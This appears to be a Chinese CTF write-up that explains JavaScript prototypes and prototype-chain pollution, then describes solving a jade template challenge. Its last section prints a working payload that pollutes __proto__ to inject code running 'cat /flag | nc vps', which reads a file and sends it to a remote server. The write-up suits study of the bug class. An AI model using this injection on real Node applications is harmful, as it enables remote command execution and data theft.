0x01 原型与__proto__
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,一般被用来表达继承的变量。
function Test(){
this.tt = "test"
}
var test = new Test()
console.log(test.tt)
这是一个基本的类的实例
其test属性的原型如下
同样也可以用prototype
来表示
0x02 原型链污染
javascript的继承方式就是依靠着原型链,因此我们可以改变原型链来对进行一个数据的更改,这种原型链的借用p师傅的博客来说,利用如下的代码
function Father() {
this.first_name = 'Tom'
this.last_name = 'A'
}
function Son() {
this.first_name = 'Jerry'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
从而对于son的对象,在调用son.last_name这个属性的时候,其做了如下的几个操作
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name- 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name- 依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
p师傅在这里讲的还是非常硬核的,膜一下。
那么要进行原型链的污染也就非常简单了,如果我们想改变一个子类并不存在或者固定的一个变量的时候,可以通过原型链污染

可以看到_proto__
将不存在的c变量设了变量并且改变了其值。如果我们控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。
0x03 被污染的jade
这道题目就是边学边做的,很可惜最后超时了,回顾一下,首先页面就是一个输入框,输入什么就返回什么
在这个基础上,以为是SSTI污染了原型链,疯狂测试SSTI。无果,之后偶然看到了报错的部分源码,于是猜测可能拼接啥的,遂开始读jade的源码。通过报错的信息
开始看代码,发现在/lib/complier.js
文件中的line变量可以拼接
那么只要拼接出一个命令执行既可以拿到flag,同时在burp博客中发现一篇jade的SSTI
于是构造出来的payload为
{"__proto__":{"compileDebug":1,"title":"","name":"bb","self":1,"line":"\"\"));global.process.mainModule.require('child_process').exec('cat /flag| nc vps) \\"}}
服务器接收到数据
拿到flag
0xFF Reference